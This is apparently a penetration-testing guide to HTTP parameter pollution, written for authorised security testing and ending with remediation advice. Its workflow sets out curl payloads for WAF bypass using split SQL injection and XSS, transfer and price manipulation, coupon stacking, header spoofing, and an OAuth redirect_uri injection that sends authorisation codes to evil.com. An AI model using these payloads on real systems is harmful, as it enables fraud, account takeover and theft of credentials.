Performing HTTP Parameter Pollution Attack

When to Use

• When testing web applications for input validation bypass vulnerabilities
• During WAF evasion testing to split attack payloads across duplicate parameters
• When assessing how different technology stacks handle duplicate HTTP parameters
• During API security testing to identify parameter precedence issues
• When testing OAuth or payment processing flows for parameter manipulation

Prerequisites

• Burp Suite Professional with Intruder and Repeater modules
• Understanding of HTTP protocol and query string parsing
• Knowledge of server-side parameter handling differences (first, last, array, concatenated)
• cURL or httpie for manual parameter crafting
• Target application technology stack identification (Apache, IIS, Tomcat, Node.js, etc.)

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Identify Parameter Handling Behavior

# Test how the server handles duplicate parameters
# Different servers process duplicates differently:
# Apache/PHP: Last parameter value
# ASP.NET/IIS: All values concatenated with comma
# JSP/Tomcat: First parameter value
# Node.js/Express: Array of values
# Python/Flask: First parameter value

curl -v "http://target.com/search?q=first&q=second"
# Observe which value the application uses in the response

# Test POST body duplicate parameters
curl -X POST http://target.com/api/action \
  -d "amount=100&amount=1"

Step 2 — Perform Server-Side HPP

# Bypass input validation by splitting payload
# Original blocked payload: id=1 OR 1=1
curl "http://target.com/api/user?id=1%20OR%201%3D1"  # Blocked by WAF

# HPP bypass: split across duplicate parameters
curl "http://target.com/api/user?id=1%20OR&id=1%3D1"  # May bypass WAF

# Parameter pollution in POST body
curl -X POST http://target.com/transfer \
  -d "to_account=victim&amount=100&to_account=attacker"

# Override security-critical parameters
curl -X POST http://target.com/api/payment \
  -d "price=99.99&currency=USD&price=0.01"

Step 3 — Perform Client-Side HPP

# Client-side HPP via URL manipulation
# If application reflects parameters in links:
# Original: http://target.com/page?param=value
# Inject:   http://target.com/page?param=value%26injected_param=evil_value

# Social sharing URL manipulation
curl "http://target.com/share?url=http://legit.com%26callback=http://evil.com"

# Inject into embedded links
curl "http://target.com/redirect?url=http://trusted.com%26token=stolen_value"

Step 4 — Bypass WAF Rules Using HPP

# WAF typically inspects individual parameter values
# Split SQL injection across parameters
curl "http://target.com/search?q=1' UNION&q=SELECT password FROM users--"

# Split XSS payload
curl "http://target.com/search?q=<script>&q=alert(1)</script>"

# URL-encoded HPP bypass
curl "http://target.com/api/data?filter=admin%26role=superadmin"

# HPP in HTTP headers
curl -H "X-Forwarded-For: 127.0.0.1" \
     -H "X-Forwarded-For: attacker-ip" \
     http://target.com/api/admin

Step 5 — Test OAuth and Payment Flow HPP

# OAuth authorization code HPP
# Inject duplicate redirect_uri to steal authorization code
curl "http://target.com/oauth/authorize?client_id=legit&redirect_uri=https://legit.com/callback&redirect_uri=https://evil.com/steal"

# Payment amount manipulation
curl -X POST http://target.com/api/checkout \
  -d "item=product1&price=100&quantity=1&price=1"

# Coupon code HPP
curl -X POST http://target.com/api/apply-coupon \
  -d "coupon=SAVE10&coupon=SAVE90&coupon=FREE"

Step 6 — Automate HPP Testing

# Use Burp Intruder with parameter duplication
# In Burp Repeater, manually add duplicate parameters
# Use param-miner Burp extension for automated discovery

# Test with OWASP ZAP HPP scanner
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' \
  http://target.com

# Custom testing with Python
python3 hpp_tester.py --url http://target.com/api/action \
  --params "id,role,amount" --method POST

Key Concepts

Concept	Description
Server-Side HPP	Duplicate parameters processed differently by backend causing logic bypass
Client-Side HPP	Injected parameters reflected in URLs/links sent to other users
Parameter Precedence	Server behavior: first-wins, last-wins, concatenation, or array
WAF Evasion	Splitting attack payloads across duplicate parameters to avoid detection
Technology-Specific Parsing	Different frameworks handle duplicate parameters uniquely
URL Encoding HPP	Using %26 (encoded &) to inject additional parameters within a value
Header Pollution	Sending duplicate HTTP headers to exploit forwarding or trust logic

Tools & Systems

Tool	Purpose
Burp Suite	HTTP proxy for intercepting and duplicating parameters
param-miner	Burp extension for discovering hidden and duplicate parameters
OWASP ZAP	Automated scanner with HPP detection capabilities
Arjun	Hidden HTTP parameter discovery tool
ffuf	Fuzzing tool for parameter brute-forcing and duplication testing
Wfuzz	Web application fuzzer supporting parameter manipulation

Common Scenarios

1. WAF Bypass — Split SQL injection or XSS payloads across duplicate parameters where the WAF inspects values individually but the server concatenates them
2. Payment Manipulation — Override price or quantity parameters in e-commerce checkout flows by submitting duplicate parameter values
3. OAuth Redirect Hijacking — Inject a duplicate redirect_uri parameter to redirect authorization codes to an attacker-controlled server
4. Access Control Bypass — Override role or permission parameters in requests to elevate privileges or access restricted resources
5. Input Validation Bypass — Circumvent client-side or server-side validation by injecting unexpected duplicate parameters

Output Format

## HTTP Parameter Pollution Assessment Report
- **Target**: http://target.com
- **Server Technology**: ASP.NET/IIS (concatenation behavior)
- **Vulnerability**: Server-Side HPP in payment endpoint

### Parameter Handling Matrix
| Technology | Behavior | Tested |
|-----------|----------|--------|
| Apache/PHP | Last value | Yes |
| IIS/ASP.NET | Comma-concatenated | Yes |
| Node.js | Array | Yes |

### Findings
| # | Endpoint | Parameter | Impact | Severity |
|---|----------|-----------|--------|----------|
| 1 | POST /checkout | price | Price manipulation | Critical |
| 2 | GET /oauth/authorize | redirect_uri | Token theft | High |
| 3 | POST /api/search | q | WAF bypass (SQLi) | High |

### Remediation
- Implement strict parameter validation rejecting duplicate parameters
- Use the first occurrence of any parameter and ignore subsequent duplicates
- Apply WAF rules that detect duplicate parameter patterns
- Validate all parameters server-side regardless of client-side checks